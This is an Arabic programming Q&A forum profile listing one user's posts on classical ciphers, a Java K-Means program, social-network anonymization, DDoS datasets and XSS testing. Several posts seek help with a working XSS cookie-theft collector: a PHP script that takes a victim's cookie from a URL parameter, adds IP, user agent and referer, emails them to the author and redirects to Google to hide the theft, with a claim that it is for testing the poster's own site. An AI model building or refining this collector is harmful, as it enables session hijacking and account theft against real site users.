اذهب إلى المحتوى

_Mehdi

الأعضاء
  • المساهمات

    60
  • تاريخ الانضمام

  • تاريخ آخر زيارة

أجوبة بواسطة _Mehdi

  1. بتاريخ 59 دقائق مضت قال Mohammed Ahmed13:

    الرقم 33 سوف يعني أن لديك 33 رمز للتبديل بينهم في التشفير (من الممكن أن يكونوا الحروف الأبجدية مع عدد من الرموز مثلاً).

    أكرر أن الاختيار الخاص بالـ modular يتم عن طريق معرفة عدد الرموز المستخدمة في الشيفرة مثلاً لو كان لديك شيفرة للحروف الانجليزية فقط سوف يكون mod=26 أما لو كنت تريد جميع رموز آسكي مثلاً فستقوم باستخدام mod=128 لأن آسكي لديه 128 رمز مختلف متضمنة الحروف الانجليزية.

    شكرا جزيلا لك على التوضيح الان وضحت الصورة لي

    وحبذا لو متوفر لديك كتاب او مصدر يشرح هذه التفاصيل لتعمق اكثر في الموضوع

  2. @Mohammed Ahmed13اخي افهم من شرحك ان الخوارزميات التقليدية بعد التطوير اصبحت تستخدم الاسكي كود

    وفي حال كان mod =128  نستخدم الاسكي كود .. هذا كان في احد الاسئلة  ان رقم "modular = 33 "  هل يعتبر غير دقيق علميا من ناحية mod لو بالامكان اختيار اي رقم mod بين 26 و 128 ؟

    شكرا لك على التوضيح

     

  3. السلام عليكم  متى يتم استخدام الاسكي كود في طرق التشفير القديمة؟

    حسب بحثي عن الموضوع انه يتم استخدام طريقة ترتيب الحروف حسب الابجديه واعطائها ارقام وتعتمد عليه في التشفير لكن في حالة كانت الحروف صغيرة وكبيره وفي حالة كان النص المشفر يحتوى على رموز وفي حالة كان mod  اكبر من 26  ماذا نستخدم ؟ هل طريقة الحروف ام طريقة الاسكي ولماذا؟

    شكرا

  4. السلام عليكم هذا الكود لخوارزمية K-Means clustring  كيف اجعل هذا الكود يعمل في ال GUI في الجافا والقيم المدخلة (Dataset) تكون من قاعدة بيانات Access امتدادة .mdb

    package KMean;
    import static java.lang.Math.abs;
    import java.util.ArrayList;
    import java.util.Collections;
    import java.util.Scanner;
    
    public class KMean {
    
        int k;
        int noOfItems;
        ArrayList dataItems;
        ArrayList cz;
        ArrayList oldCz;
        ArrayList row;
        ArrayList<ArrayList> groups;
        Scanner input;
    
        public KMean(int k, int noOfItems) {
            this.k = k;
            this.noOfItems = noOfItems;
            dataItems = new ArrayList();
            cz = new ArrayList();
            oldCz = new ArrayList();
            row = new ArrayList();
            groups = new ArrayList();
            input = new Scanner(System.in);
    
            for (int i = 0; i < k; i++) {
                groups.add(new ArrayList());
            }
    
            for (int i = 0; i < noOfItems; i++) {
                System.out.println("Enter Value for: " + (i + 1) + " item");
                dataItems.add(input.nextInt());
                if (i < k) {
                    cz.add(dataItems.get(i));
                    System.out.println("C" + (i + 1) + " is " + cz.get(i));
                }
            }
            int iter = 1;
            do {
                for (int aItem : dataItems) {
                    for (int c : cz) {
                        row.add(abs(c - aItem));
                    }
                    groups.get(row.indexOf(Collections.min(row))).add(aItem);
                    row.removeAll(row);
                }
                for (int i = 0; i < k; i++) {
                    if (iter == 1) {
                        oldCz.add(cz.get(i));
                    } else {
                        oldCz.set(i, cz.get(i));
                    }
                    if (!groups.get(i).isEmpty()) {
                        cz.set(i, average(groups.get(i)));
                    }
                }
                if (!cz.equals(oldCz)) {
                    for (int i = 0; i < groups.size(); i++) {
                        groups.get(i).removeAll(groups.get(i));
                    }
                }
                iter++;
            } while (!cz.equals(oldCz));
            for (int i = 0; i < cz.size(); i++) {
                System.out.println("New C" + (i + 1) + " " + cz.get(i));
            }
            for (int i = 0; i < groups.size(); i++) {
                System.out.println("Group " + (i + 1));
                System.out.println(groups.get(i).toString());
            }
            System.out.println("Number of Itrations: " + iter);
        }
    
        public static void main(String[] args) {
            Scanner input = new Scanner(System.in);
            System.out.println("Enter Value of K");
            int k = input.nextInt();
            System.out.println("Enter No of Data Items");
            int noOfItems = input.nextInt();
            new KMean(k, noOfItems);
        }
    
        public static int average(ArrayList list) {
            int sum = 0;
            for (Integer value : list) {
                sum = sum + value;
            }
            return sum / list.size();
        }
    }

     

     

     

  5. السلام عليكم

    انا اعمل على بحث في خوارزمية  GASNA: Greedy Algorithm for Social Network Anonymization واحتاج مساعدة في فهم Anonymization Phase فهمت المرحلتين clustering phase,  adjustment phase ولكن هذه المرحلة Anonymization Phase واجهت مشاكل في الفهم هل بامكانكم مساعدتي في مصدر واضح اوشرح 

  6. السلام عليكم احتاج ان احمل من الانترنيت بيانات DDOS attack لسنوات الاخيره مثلا من 2010 فصاعداً لكي اجري عليها توزيع كاما gamma distribution فلم اجد غير بيانات سنة 2007 وانا احتاج بيانات حديثه 
    فمن يمكنه مساعدتي بايجاد بيانات لسنوات حديثه يتفضل مشكورا

  7. عذرا اخي لم اقصد انك لم تفهم الموضوع ولكن اردت التوضيح اكثر لاني لم افهم اجابتك السابقة  اي فايل تقصد بالضبط هذه  الاجابة 

    بتاريخ 44 دقائق مضت قال KSA brg:

    و تفتح الرابط مثل كذا 

    file.php?index=

    وايضا عندما اضع  <br /> ايضا لايتم تنفيذه بشكل صحيح 

    شكرا جزيلا لك وعذرا على الاطالة 

  8. انا واضع هذا الكود على استضافة واضع كود جافاسكربت في الموقعي لكي يرسل قيمة الكوكيز لهذا الكود وعندما اضع هذا المتغيرات بهذه الصيغة يرسل المعلومات كاملة ولكن تكون بشكل مكدس بلافواضل انا لاابغي غير ترتيب المعلومات 

    $Msg=$cookie.$path.$date.$ip.$rem_port.$rem_host.$user_agent.$referer;

    احتاج ان تكون مرتبه كما هي في هذا http://www.go4expert.com/articles/stealing-cookie-xss-t17066/

    وشكراجزيلا لك على المساعدة 

  9. <?php
     $YourMail = "x@hotmail.com"; 
     	if(isset($_GET['index'])){
      	$cookie = $_GET['index'];
    	$path = getenv('PATH');
    	$date=date ("l dS of F Y h:i:s A"); 
    	
        $rem_port = $_SERVER['REMOTE_PORT'];  
    	$rem_host = $_SERVER['REMOTE_HOST']; 
    	$user_agent = $_SERVER['HTTP_USER_AGENT'];  
    	$referer = $_SERVER['HTTP_REFERER'];
    	$redirect = "https://www.google.com";
    	
     	Echo '<script>document. Location="'. $redirect.'"</script>';
     	}
     	else print '
     	<body bgcolor="000000">
     <center>
     	<b><font color="red">404</font></b><br></center>';
    if (getenv('HTTP_X_FORWARDED_FOR')) 
    { 
    $ip=getenv('HTTP_X_FORWARDED_FOR'); 
    } 
    else { 
    $ip=getenv('REMOTE_ADDR'); 
    }
    $Msg="IP:".$ip."| PORT: ".$rem_port. "| HOST:". $rem_host. "| Agent: ".$user_agent. "| REF: ".$referer."| DATE{ : }". $date." | COOKIE:".  $cookie;
      	$Send = mail ($YourMail,"cookie",$Msg);
    	If ($Send) {
     	if ($redirect <> ""){
     	header("location:".$redirect);
     	}
    }
    
    ?>

    علما ان هذا الكود اعمل عليه في موقع من تصميمي لاختبار ثغرة وليس استخدام خبيث ضد المواقع

  10. عندما اضع الكود التالي في php في السيرفر المحلي يتم تنفذ الكود بصورة صحيحة ويطبع كل القيم ولكن عندما ارفع الموقع على استضافة والكود ايضا على استضافة لاينفذ هذا الكود بصورة صحيحة  فيظهر فقط الIP . مالسبب؟

    $Msg="IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie";

     

  11. بتاريخ On 2/17/2016 at 01:30 قال Lujain:

    ست @Lujain  ان امكن توضيح بسيط لهذا الفقرة من الكود السابق مالمقصود منه

     وخاصة هذه الشيفرة RSecurity.logAction

    وشكرا لك 

    
     
            if (!isOk)
            {
                RSecurity.logAction("SQL Fillter", "HZTR-000001", HttpContext.Current.Session[SessionStatic.UserName] + " try to hack with this sql: (" + tempText.Replace("'", "''") + ")", "", "", "", HttpContext.Current.Request.Url.AbsolutePath, RSecurity.LogAction_danger_activity, RSecurity.LogType_SQLHaker);
            }
     

     

     

     
     
     

     

  12. لاجراء اختبار لثغرة الXSS attack  قمت بايقاف بعض خصائص الجافا سكربت من خلال about:config في متصفح الفايرفوكس وفي متصفح IE ايضا قمت بجعل security level=Low

    هل هذه تعتبر طريقة  ايقاف للsame origin policy ؟ واذا لم تكن ماذا تسمى هذه الطريقة ؟ وكيف يتم ايقاف الsame origin policy ؟

    شكرالكم

  13. بتاريخ 41 دقائق مضت قال أسامة عرب:

    نعم تظهر شاشة Cmd وبعدها بثواني تظهر رسالة الخطأ في الاول تظهر باسم ملف 0003.bat  وعند الظغط على ok تظهر باسم 0000.txt ومن ثم ايضا عند الضغط على ok مرة اخرى تظهر باسم 0002.bat وتتكرر كلما تم الضغط على ok

    ولدي برنامج حماية الكاسبر سكاي

     

×
×
  • أضف...